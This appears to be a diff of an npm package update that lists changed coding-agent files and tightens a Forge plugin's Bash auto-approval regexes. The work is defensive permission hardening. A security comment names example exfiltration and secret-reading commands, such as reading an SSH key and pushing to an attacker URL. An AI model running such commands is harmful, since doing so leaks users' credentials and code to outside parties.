- package/node_modules/@earendil-works/pi-coding-agent/dist/core/project-trust.d.ts +15 -0
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/project-trust.d.ts.map +1 -0
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/project-trust.js +58 -0
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/project-trust.js.map +1 -0
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/prompt-templates.d.ts +2 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/prompt-templates.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/prompt-templates.js +24 -26
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/prompt-templates.js.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/provider-attribution.d.ts +4 -0
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/provider-attribution.d.ts.map +1 -0
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/provider-attribution.js +72 -0
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/provider-attribution.js.map +1 -0
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/provider-display-names.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/provider-display-names.js +3 -0
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/provider-display-names.js.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/resource-loader.d.ts +13 -2
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/resource-loader.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/resource-loader.js +112 -37
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/resource-loader.js.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/sdk.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/sdk.js +7 -33
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/sdk.js.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/session-manager.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/session-manager.js +103 -70
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/session-manager.js.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/settings-manager.d.ts +20 -2
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/settings-manager.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/settings-manager.js +97 -30
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/settings-manager.js.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/slash-commands.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/slash-commands.js +1 -0
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/slash-commands.js.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/tools/bash.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/tools/bash.js +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/tools/bash.js.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/tools/find.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/tools/find.js +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/tools/find.js.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/tools/grep.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/tools/grep.js +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/tools/grep.js.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/tools/ls.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/tools/ls.js +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/tools/ls.js.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/tools/read.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/tools/read.js +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/tools/read.js.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/tools/write.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/tools/write.js +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/tools/write.js.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/trust-manager.d.ts +36 -0
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/trust-manager.d.ts.map +1 -0
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/trust-manager.js +202 -0
- package/node_modules/@earendil-works/pi-coding-agent/dist/core/trust-manager.js.map +1 -0
- package/node_modules/@earendil-works/pi-coding-agent/dist/index.d.ts +5 -4
- package/node_modules/@earendil-works/pi-coding-agent/dist/index.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/index.js +2 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/index.js.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/main.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/main.js +72 -32
- package/node_modules/@earendil-works/pi-coding-agent/dist/main.js.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/migrations.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/migrations.js +39 -34
- package/node_modules/@earendil-works/pi-coding-agent/dist/migrations.js.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/modes/index.d.ts +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/modes/index.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/modes/index.js.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/modes/interactive/components/bash-execution.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/modes/interactive/components/bash-execution.js +2 -2
- package/node_modules/@earendil-works/pi-coding-agent/dist/modes/interactive/components/bash-execution.js.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/modes/interactive/components/first-time-setup.d.ts +25 -0
- package/node_modules/@earendil-works/pi-coding-agent/dist/modes/interactive/components/first-time-setup.d.ts.map +1 -0
- package/node_modules/@earendil-works/pi-coding-agent/dist/modes/interactive/components/first-time-setup.js +103 -0
- package/node_modules/@earendil-works/pi-coding-agent/dist/modes/interactive/components/first-time-setup.js.map +1 -0
- package/node_modules/@earendil-works/pi-coding-agent/dist/modes/interactive/components/footer.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/modes/interactive/components/footer.js +7 -0
- package/node_modules/@earendil-works/pi-coding-agent/dist/modes/interactive/components/footer.js.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/modes/interactive/components/index.d.ts +2 -0
- package/node_modules/@earendil-works/pi-coding-agent/dist/modes/interactive/components/index.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/modes/interactive/components/index.js +2 -0
- package/node_modules/@earendil-works/pi-coding-agent/dist/modes/interactive/components/index.js.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/modes/interactive/components/login-dialog.d.ts +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/modes/interactive/components/login-dialog.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/modes/interactive/components/login-dialog.js +10 -13
- package/node_modules/@earendil-works/pi-coding-agent/dist/modes/interactive/components/login-dialog.js.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/modes/interactive/components/settings-selector.d.ts +3 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/modes/interactive/components/settings-selector.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/modes/interactive/components/settings-selector.js +20 -0
- package/node_modules/@earendil-works/pi-coding-agent/dist/modes/interactive/components/settings-selector.js.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/modes/interactive/components/tool-execution.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/modes/interactive/components/tool-execution.js +22 -0
- package/node_modules/@earendil-works/pi-coding-agent/dist/modes/interactive/components/tool-execution.js.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/modes/interactive/components/trust-selector.d.ts +23 -0
- package/node_modules/@earendil-works/pi-coding-agent/dist/modes/interactive/components/trust-selector.d.ts.map +1 -0
- package/node_modules/@earendil-works/pi-coding-agent/dist/modes/interactive/components/trust-selector.js +91 -0
- package/node_modules/@earendil-works/pi-coding-agent/dist/modes/interactive/components/trust-selector.js.map +1 -0
- package/node_modules/@earendil-works/pi-coding-agent/dist/modes/interactive/interactive-mode.d.ts +7 -0
- package/node_modules/@earendil-works/pi-coding-agent/dist/modes/interactive/interactive-mode.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/modes/interactive/interactive-mode.js +101 -5
- package/node_modules/@earendil-works/pi-coding-agent/dist/modes/interactive/interactive-mode.js.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/modes/print-mode.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/modes/print-mode.js +1 -0
- package/node_modules/@earendil-works/pi-coding-agent/dist/modes/print-mode.js.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/modes/rpc/rpc-mode.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/modes/rpc/rpc-mode.js +1 -0
- package/node_modules/@earendil-works/pi-coding-agent/dist/modes/rpc/rpc-mode.js.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/package-manager-cli.d.ts +6 -2
- package/node_modules/@earendil-works/pi-coding-agent/dist/package-manager-cli.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/package-manager-cli.js +111 -10
- package/node_modules/@earendil-works/pi-coding-agent/dist/package-manager-cli.js.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/utils/changelog.d.ts +1 -0
- package/node_modules/@earendil-works/pi-coding-agent/dist/utils/changelog.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/utils/changelog.js +78 -0
- package/node_modules/@earendil-works/pi-coding-agent/dist/utils/changelog.js.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/utils/git.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/utils/git.js +54 -22
- package/node_modules/@earendil-works/pi-coding-agent/dist/utils/git.js.map +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/dist/utils/open-browser.d.ts +9 -0
- package/node_modules/@earendil-works/pi-coding-agent/dist/utils/open-browser.d.ts.map +1 -0
- package/node_modules/@earendil-works/pi-coding-agent/dist/utils/open-browser.js +22 -0
- package/node_modules/@earendil-works/pi-coding-agent/dist/utils/open-browser.js.map +1 -0
- package/node_modules/@earendil-works/pi-coding-agent/docs/containerization.md +111 -0
- package/node_modules/@earendil-works/pi-coding-agent/docs/docs.json +8 -0
- package/node_modules/@earendil-works/pi-coding-agent/docs/extensions.md +67 -13
- package/node_modules/@earendil-works/pi-coding-agent/docs/index.md +2 -0
- package/node_modules/@earendil-works/pi-coding-agent/docs/models.md +4 -3
- package/node_modules/@earendil-works/pi-coding-agent/docs/packages.md +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/docs/prompt-templates.md +9 -2
- package/node_modules/@earendil-works/pi-coding-agent/docs/providers.md +5 -0
- package/node_modules/@earendil-works/pi-coding-agent/docs/rpc.md +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/docs/sdk.md +5 -0
- package/node_modules/@earendil-works/pi-coding-agent/docs/security.md +59 -0
- package/node_modules/@earendil-works/pi-coding-agent/docs/settings.md +15 -0
- package/node_modules/@earendil-works/pi-coding-agent/docs/skills.md +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/docs/terminal-setup.md +36 -2
- package/node_modules/@earendil-works/pi-coding-agent/docs/themes.md +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/docs/tmux.md +4 -2
- package/node_modules/@earendil-works/pi-coding-agent/docs/tui.md +10 -1
- package/node_modules/@earendil-works/pi-coding-agent/docs/usage.md +19 -2
- package/node_modules/@earendil-works/pi-coding-agent/examples/extensions/README.md +2 -0
- package/node_modules/@earendil-works/pi-coding-agent/examples/extensions/custom-header.ts +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/examples/extensions/custom-provider-anthropic/package.json +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/examples/extensions/custom-provider-gitlab-duo/package.json +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/examples/extensions/doom-overlay/index.ts +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/examples/extensions/gondolin/index.ts +531 -0
- package/node_modules/@earendil-works/pi-coding-agent/examples/extensions/gondolin/package-lock.json +185 -0
- package/node_modules/@earendil-works/pi-coding-agent/examples/extensions/gondolin/package.json +19 -0
- package/node_modules/@earendil-works/pi-coding-agent/examples/extensions/handoff.ts +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/examples/extensions/interactive-shell.ts +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/examples/extensions/overlay-qa-tests.ts +152 -81
- package/node_modules/@earendil-works/pi-coding-agent/examples/extensions/project-trust.ts +64 -0
- package/node_modules/@earendil-works/pi-coding-agent/examples/extensions/qna.ts +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/examples/extensions/question.ts +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/examples/extensions/questionnaire.ts +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/examples/extensions/sandbox/package.json +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/examples/extensions/snake.ts +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/examples/extensions/space-invaders.ts +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/examples/extensions/summarize.ts +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/examples/extensions/tic-tac-toe.ts +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/examples/extensions/todo.ts +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/examples/extensions/tools.ts +5 -0
- package/node_modules/@earendil-works/pi-coding-agent/examples/extensions/with-deps/package.json +1 -1
- package/node_modules/@earendil-works/pi-coding-agent/npm-shrinkwrap.json +12 -419
- package/node_modules/@earendil-works/pi-coding-agent/package.json +5 -8
- package/node_modules/@earendil-works/pi-tui/README.md +13 -1
- package/node_modules/@earendil-works/pi-tui/dist/autocomplete.d.ts +2 -0
- package/node_modules/@earendil-works/pi-tui/dist/autocomplete.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-tui/dist/autocomplete.js.map +1 -1
- package/node_modules/@earendil-works/pi-tui/dist/components/editor.d.ts +6 -1
- package/node_modules/@earendil-works/pi-tui/dist/components/editor.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-tui/dist/components/editor.js +102 -43
- package/node_modules/@earendil-works/pi-tui/dist/components/editor.js.map +1 -1
- package/node_modules/@earendil-works/pi-tui/dist/components/markdown.d.ts +2 -1
- package/node_modules/@earendil-works/pi-tui/dist/components/markdown.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-tui/dist/components/markdown.js +11 -1
- package/node_modules/@earendil-works/pi-tui/dist/components/markdown.js.map +1 -1
- package/node_modules/@earendil-works/pi-tui/dist/fuzzy.d.ts +1 -1
- package/node_modules/@earendil-works/pi-tui/dist/fuzzy.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-tui/dist/fuzzy.js +2 -2
- package/node_modules/@earendil-works/pi-tui/dist/fuzzy.js.map +1 -1
- package/node_modules/@earendil-works/pi-tui/dist/index.d.ts +1 -1
- package/node_modules/@earendil-works/pi-tui/dist/index.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-tui/dist/index.js.map +1 -1
- package/node_modules/@earendil-works/pi-tui/dist/terminal.d.ts +4 -7
- package/node_modules/@earendil-works/pi-tui/dist/terminal.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-tui/dist/terminal.js +38 -77
- package/node_modules/@earendil-works/pi-tui/dist/terminal.js.map +1 -1
- package/node_modules/@earendil-works/pi-tui/dist/tui.d.ts +20 -4
- package/node_modules/@earendil-works/pi-tui/dist/tui.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-tui/dist/tui.js +244 -42
- package/node_modules/@earendil-works/pi-tui/dist/tui.js.map +1 -1
- package/node_modules/@earendil-works/pi-tui/dist/utils.d.ts +1 -0
- package/node_modules/@earendil-works/pi-tui/dist/utils.d.ts.map +1 -1
- package/node_modules/@earendil-works/pi-tui/dist/utils.js +46 -15
- package/node_modules/@earendil-works/pi-tui/dist/utils.js.map +1 -1
- package/node_modules/@earendil-works/pi-tui/package.json +1 -1
- package/package.json +8 -7
- package/dist/forge-payload/.base-pack/commands/check-agent.md +0 -22
- package/dist/forge-payload/.base-pack/commands/enhance.md +0 -37
|
@@ -12,7 +12,7 @@ project's generated artifacts.
|
|
|
12
12
|
## Locate plugin root
|
|
13
13
|
|
|
14
14
|
```
|
|
15
|
-
FORGE_ROOT: !`echo "${CLAUDE_PLUGIN_ROOT}"`
|
|
15
|
+
FORGE_ROOT: !`echo "${CLAUDE_PLUGIN_ROOT:-$(pwd)/.forge}"`
|
|
16
16
|
```
|
|
17
17
|
|
|
18
18
|
Detect install mode:
|
|
@@ -442,7 +442,7 @@ install changes the cache path (e.g. `…/cache/forge/forge/0.9.6/` →
|
|
|
442
442
|
this command is stale.
|
|
443
443
|
|
|
444
444
|
```sh
|
|
445
|
-
FORGE_ROOT: !`echo "${CLAUDE_PLUGIN_ROOT}"`
|
|
445
|
+
FORGE_ROOT: !`echo "${CLAUDE_PLUGIN_ROOT:-$(pwd)/.forge}"`
|
|
446
446
|
```
|
|
447
447
|
|
|
448
448
|
If the re-derived `FORGE_ROOT` differs from the original value, print:
|
|
@@ -916,7 +916,7 @@ consolidated prompt. **Nothing is written without the user saying yes.**
|
|
|
916
916
|
### 5a — Locate tools
|
|
917
917
|
|
|
918
918
|
```
|
|
919
|
-
FORGE_ROOT: !`echo "${CLAUDE_PLUGIN_ROOT}"`
|
|
919
|
+
FORGE_ROOT: !`echo "${CLAUDE_PLUGIN_ROOT:-$(pwd)/.forge}"`
|
|
920
920
|
```
|
|
921
921
|
|
|
922
922
|
All tools are invoked directly from the plugin:
|
|
@@ -3,14 +3,14 @@ name: validate
|
|
|
3
3
|
description: Validate that a task implementation satisfies acceptance criteria
|
|
4
4
|
---
|
|
5
5
|
|
|
6
|
-
# /
|
|
6
|
+
# /forge:validate
|
|
7
7
|
|
|
8
8
|
Read the validate workflow and follow it.
|
|
9
9
|
|
|
10
10
|
## Locate the Forge plugin
|
|
11
11
|
|
|
12
12
|
```
|
|
13
|
-
FORGE_ROOT: !`echo "${CLAUDE_PLUGIN_ROOT}"`
|
|
13
|
+
FORGE_ROOT: !`echo "${CLAUDE_PLUGIN_ROOT:-$(pwd)/.forge}"`
|
|
14
14
|
```
|
|
15
15
|
|
|
16
16
|
## Execute
|
|
@@ -41,19 +41,38 @@ const _nodeToolRule = process.env.CLAUDE_PLUGIN_ROOT
|
|
|
41
41
|
? `node ${process.env.CLAUDE_PLUGIN_ROOT}/tools/*`
|
|
42
42
|
: 'node ~/.claude/plugins/cache/forge/forge/*/tools/*';
|
|
43
43
|
|
|
44
|
+
// SECURITY (issue #43 / forge-engineering #42): these patterns auto-approve a
|
|
45
|
+
// Bash command with NO prompt. A non-match falls through to Claude Code's normal
|
|
46
|
+
// permission flow (the human is asked) — it does NOT block. So the rule is:
|
|
47
|
+
// auto-allow ONLY shapes that are unambiguously in-tree Forge workflow steps,
|
|
48
|
+
// and let anything that could read a secret, exfiltrate, or execute foreign code
|
|
49
|
+
// fall through to a prompt. Patterns are anchored to their argument shape, not a
|
|
50
|
+
// bare command prefix, precisely so `cat ~/.ssh/id_rsa`, `cp <secret> /tmp/x`,
|
|
51
|
+
// `gh issue create -R attacker/repo`, `git push https://attacker/…`, and
|
|
52
|
+
// `node /tmp/evil/tools/x.cjs` are NOT auto-approved.
|
|
44
53
|
const BASH_PATTERNS = [
|
|
45
|
-
// Node tool invocations —
|
|
54
|
+
// Node tool invocations — only when the directory before /tools/ is a trusted
|
|
55
|
+
// Forge root: $FORGE_ROOT / $CLAUDE_PLUGIN_ROOT, the plugin cache, or a path
|
|
56
|
+
// ending in /.forge. `node /tmp/evil/tools/x.cjs` does NOT match.
|
|
46
57
|
// (H-5d: rule is dynamically built from CLAUDE_PLUGIN_ROOT when set)
|
|
47
|
-
{
|
|
58
|
+
{
|
|
59
|
+
pattern:
|
|
60
|
+
/^node\s+(?:"?\$(?:CLAUDE_PLUGIN_ROOT|FORGE_ROOT)"?|\S*\/\.claude\/plugins\/cache\/forge\/\S*|\S*\/\.forge)\/tools\/[\w-]+\.(?:cjs|js)\b/,
|
|
61
|
+
rule: _nodeToolRule,
|
|
62
|
+
},
|
|
48
63
|
// NOTE: node -e and node -p removed — arbitrary code execution must not be auto-approved.
|
|
49
64
|
// Forge workflows use node .../tools/*.cjs for tool invocations; inline node -e/p requires
|
|
50
65
|
// explicit user approval each time.
|
|
51
66
|
// Shell commands used by Forge workflows
|
|
52
67
|
{ pattern: /^mkdir\s+-p\s+/, rule: 'mkdir -p .forge/*' },
|
|
53
68
|
{ pattern: /^mkdir\s+-p\s+\S+/, rule: 'mkdir -p .forge/*' },
|
|
54
|
-
|
|
69
|
+
// cp only when the destination (last arg) is under .forge/ — copying a secret
|
|
70
|
+
// out to an arbitrary location is not auto-approved.
|
|
71
|
+
{ pattern: /^cp\s+\S.*\s\.?\/?\.forge\/\S*\s*$/, rule: 'cp */schemas/*.schema.json .forge/schemas/' },
|
|
55
72
|
{ pattern: /^ls\s+/, rule: 'ls *' },
|
|
56
|
-
|
|
73
|
+
// cat only within .forge/ or engineering/ — reading arbitrary files (e.g.
|
|
74
|
+
// ~/.ssh/id_rsa, /etc/passwd) falls through to a prompt.
|
|
75
|
+
{ pattern: /^cat\s+(?:-\S+\s+)*\.?\/?(?:\.forge|engineering)\//, rule: 'cat .forge/*' },
|
|
57
76
|
{ pattern: /^date\s+-u\s+/, rule: 'date -u *' },
|
|
58
77
|
{ pattern: /^date\s+/, rule: 'date -u *' },
|
|
59
78
|
{ pattern: /^jq\s+/, rule: 'jq *' },
|
|
@@ -63,14 +82,18 @@ const BASH_PATTERNS = [
|
|
|
63
82
|
{ pattern: /^rm\s+-rf\s+\.forge/, rule: 'rm -rf .forge/*' },
|
|
64
83
|
{ pattern: /^rmdir\s+/, rule: 'rmdir .forge/*' },
|
|
65
84
|
{ pattern: /^gh\s+auth\s+/, rule: 'gh auth status *' },
|
|
66
|
-
|
|
85
|
+
// gh issue only against the current repo — a -R/--repo pointing at a foreign
|
|
86
|
+
// repo (cross-repo exfiltration) is not auto-approved.
|
|
87
|
+
{ pattern: /^gh\s+issue\s+(?!.*(?:\s-R\b|\s--repo\b))/, rule: 'gh issue create *' },
|
|
67
88
|
// git read-only commands (already auto-approved by Claude Code, but belt-and-suspenders)
|
|
68
89
|
{ pattern: /^git\s+status\b/, rule: 'git status *' },
|
|
69
90
|
{ pattern: /^git\s+log\b/, rule: 'git log *' },
|
|
70
91
|
{ pattern: /^git\s+diff\b/, rule: 'git diff *' },
|
|
71
92
|
{ pattern: /^git\s+add\s+/, rule: 'git add *' },
|
|
72
93
|
{ pattern: /^git\s+commit\s+-m\s+/, rule: 'git commit -m *' },
|
|
73
|
-
|
|
94
|
+
// git push only to a named remote — pushing to an explicit attacker URL
|
|
95
|
+
// (http(s)/ssh/git/file) is not auto-approved.
|
|
96
|
+
{ pattern: /^git\s+push\b(?!.*(?:https?:\/\/|git@|ssh:\/\/|file:\/\/))/, rule: 'git push *' },
|
|
74
97
|
{ pattern: /^git\s+checkout\s+/, rule: 'git checkout *' },
|
|
75
98
|
{ pattern: /^git\s+branch\s+/, rule: 'git branch *' },
|
|
76
99
|
{ pattern: /^git\s+stash\b/, rule: 'git stash *' },
|
|
@@ -0,0 +1,228 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
/**
|
|
4
|
+
* hooks/lib/common.cjs — Shared primitives for Forge hooks
|
|
5
|
+
*
|
|
6
|
+
* Provides four canonical exports used across hook files:
|
|
7
|
+
* - resolveForgePaths() (H-1a) — read .forge/config.json and derive key paths
|
|
8
|
+
* - readStdinJson(cb, stdin) (H-1b) — async stdin → JSON parsing (callback pattern)
|
|
9
|
+
* - formatHookOutput(name, p) (H-1c) — build hookSpecificOutput JSON envelope
|
|
10
|
+
* - FORGE_COMMAND_PATTERNS (H-1d) — canonical forge-command RegExp array
|
|
11
|
+
*
|
|
12
|
+
* IMPORTANT: This file is intentionally excluded from the forge-cli payload
|
|
13
|
+
* (build-payload.cjs copies only hooks/*.js, not hooks/lib/). Therefore:
|
|
14
|
+
* - Only .cjs hooks (post-init.cjs, post-sprint.cjs) may require this file.
|
|
15
|
+
* - .js hooks (triage-error.js, forge-permissions.js) retain inline copies
|
|
16
|
+
* of the patterns they need. Those inline copies carry comments pointing
|
|
17
|
+
* here as the canonical source. Keep both in sync when patterns change.
|
|
18
|
+
*
|
|
19
|
+
* Closes findings: H-1a, H-1b, H-1c, H-1d (FORGE-S25-T08)
|
|
20
|
+
*/
|
|
21
|
+
|
|
22
|
+
const fs = require('fs');
|
|
23
|
+
const path = require('path');
|
|
24
|
+
const os = require('os');
|
|
25
|
+
|
|
26
|
+
// ---------------------------------------------------------------------------
|
|
27
|
+
// H-1a: resolveForgePaths
|
|
28
|
+
// ---------------------------------------------------------------------------
|
|
29
|
+
|
|
30
|
+
/**
|
|
31
|
+
* Read .forge/config.json from the current working directory and derive the
|
|
32
|
+
* key filesystem paths used by hooks.
|
|
33
|
+
*
|
|
34
|
+
* Merged from the two identical implementations in post-init.cjs and
|
|
35
|
+
* post-sprint.cjs. The post-init version included structureVersionsPath;
|
|
36
|
+
* this function always returns all fields — callers that don't need a field
|
|
37
|
+
* simply ignore it.
|
|
38
|
+
*
|
|
39
|
+
* @returns {{ forgeDir: string, eventsRoot: string, cacheDir: string,
|
|
40
|
+
* forgeRoot: string|null, structureVersionsPath: string } | null}
|
|
41
|
+
* Returns null if .forge/config.json is missing or unparseable.
|
|
42
|
+
*/
|
|
43
|
+
function resolveForgePaths() {
|
|
44
|
+
const cfgPath = path.join(process.cwd(), '.forge', 'config.json');
|
|
45
|
+
if (!fs.existsSync(cfgPath)) return null;
|
|
46
|
+
let cfg;
|
|
47
|
+
try { cfg = JSON.parse(fs.readFileSync(cfgPath, 'utf8')); } catch (_) { return null; }
|
|
48
|
+
const forgeDir = path.dirname(cfgPath);
|
|
49
|
+
return {
|
|
50
|
+
forgeDir,
|
|
51
|
+
eventsRoot: path.join(forgeDir, 'store', 'events'),
|
|
52
|
+
structureVersionsPath: path.join(forgeDir, 'structure-versions.json'),
|
|
53
|
+
cacheDir: path.join(forgeDir, 'cache'),
|
|
54
|
+
forgeRoot: (cfg.paths && cfg.paths.forgeRoot) || null,
|
|
55
|
+
};
|
|
56
|
+
}
|
|
57
|
+
|
|
58
|
+
// ---------------------------------------------------------------------------
|
|
59
|
+
// H-1b: readStdinJson
|
|
60
|
+
// ---------------------------------------------------------------------------
|
|
61
|
+
|
|
62
|
+
/**
|
|
63
|
+
* Read all data from a readable stream (defaulting to process.stdin), parse
|
|
64
|
+
* as JSON, and invoke the callback with the result.
|
|
65
|
+
*
|
|
66
|
+
* Merges the async stdin reading pattern used by triage-error.js and
|
|
67
|
+
* forge-permissions.js. Note: .js hooks retain inline copies of this
|
|
68
|
+
* pattern to avoid a module-scope require on hooks/lib/ (forge-cli bundle
|
|
69
|
+
* gap — see file header). This function is provided for .cjs hook consumers
|
|
70
|
+
* and for future use when the .js extension is migrated in T14.
|
|
71
|
+
*
|
|
72
|
+
* @param {function(object|null): void} callback
|
|
73
|
+
* Called with the parsed object, or null if input is empty or malformed.
|
|
74
|
+
* @param {NodeJS.ReadableStream} [stdin]
|
|
75
|
+
* Readable stream to consume. Defaults to process.stdin.
|
|
76
|
+
*/
|
|
77
|
+
function readStdinJson(callback, stdin) {
|
|
78
|
+
const stream = stdin || process.stdin;
|
|
79
|
+
if (stream.setEncoding) stream.setEncoding('utf8');
|
|
80
|
+
let raw = '';
|
|
81
|
+
stream.on('data', chunk => { raw += chunk; });
|
|
82
|
+
stream.on('end', () => {
|
|
83
|
+
if (!raw) { callback(null); return; }
|
|
84
|
+
try {
|
|
85
|
+
callback(JSON.parse(raw));
|
|
86
|
+
} catch (_) {
|
|
87
|
+
callback(null);
|
|
88
|
+
}
|
|
89
|
+
});
|
|
90
|
+
}
|
|
91
|
+
|
|
92
|
+
// ---------------------------------------------------------------------------
|
|
93
|
+
// H-1c: formatHookOutput
|
|
94
|
+
// ---------------------------------------------------------------------------
|
|
95
|
+
|
|
96
|
+
/**
|
|
97
|
+
* Build the Claude Code hook stdout envelope as a JSON string.
|
|
98
|
+
*
|
|
99
|
+
* Claude Code hook protocol: hooks write a JSON object to stdout where the
|
|
100
|
+
* top-level key is `hookSpecificOutput` containing `hookEventName` plus any
|
|
101
|
+
* additional fields from payload.
|
|
102
|
+
*
|
|
103
|
+
* @param {string} hookEventName - e.g. 'PostToolUse', 'SessionStart'
|
|
104
|
+
* @param {object} payload - additional fields to include in hookSpecificOutput
|
|
105
|
+
* @returns {string} JSON string ready for process.stdout.write
|
|
106
|
+
*/
|
|
107
|
+
function formatHookOutput(hookEventName, payload) {
|
|
108
|
+
return JSON.stringify({
|
|
109
|
+
hookSpecificOutput: {
|
|
110
|
